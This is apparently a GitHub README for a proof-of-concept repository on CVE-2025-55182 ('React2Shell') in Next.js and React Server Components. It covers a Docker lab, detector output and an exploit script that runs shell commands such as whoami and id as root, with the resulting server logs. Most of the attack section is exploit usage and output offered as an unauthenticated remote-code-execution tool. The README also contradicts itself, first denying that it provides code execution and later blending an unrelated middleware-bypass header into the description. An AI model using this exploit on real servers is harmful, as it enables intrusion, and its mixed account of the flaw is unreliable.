nehkark/cve-2025-55182PoC: CVE-2025-55182 (React) and CVE-2025-66478 (Next.js)
The author assumes no liability for misuse or damage caused by this research
Provided strictly for educational and defensive purposes
This repository contains a small laboratory and Proof-of-Concept analysis for CVE-2025-55182 and its duplicate CVE-2025-66478, related to Next.js React Server Components (RSC) and middleware authorization bypass behavior.
The goal of this PoC is to reproduce the internal request-flow conditions required for the vulnerability, analyze middleware behavior, and understand how x-middleware-subrequest affects protected routes under specific configurations.
This repository does not provide remote code execution
It provides a controlled environment to study:
NVD currently classifies CVE-2025-66478 as:
Rejected reason: This CVE is a duplicate of CVE-2025-55182
The behavior still exists; only the identifier changed during consolidation.
x-middleware-subrequest: 1
X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding
nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
├── page/
│ └── index.js
│
├── protected/
│ └── page.js
│
└── api/
└── admin/
└── secret/
└── route.js
docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln
This repository includes a helper script NextJs.py for analyzing:
Example:
python3 NextJs.py -u http://localhost:3000
krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Timeout : 10s
[+] TLS verify : enabled
=== Fingerprint ===
- Next.js detected via headers.
- React Server Components (RSC) detected.
- Inferred Next.js generation: Next.js (generation unclear)
=== React2Shell Probe ===
- Benign React Flight gadget executed and returned marker digest.
- This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.
=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target : http://127.0.0.1:3000
HTTP status : 500
Digest : REACT2SHELL_PROBE
Verdict : LIKELY_VULNERABLE to React2Shell-style exploit path
Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
This tool allows you to execute remote code arbitrarily without authentication.
Usage:
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : uname -a
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : whoami
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
root
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : id
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
POST / 500 in 10ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {
POST / 500 in 11ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {
POST / 500 in 11ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {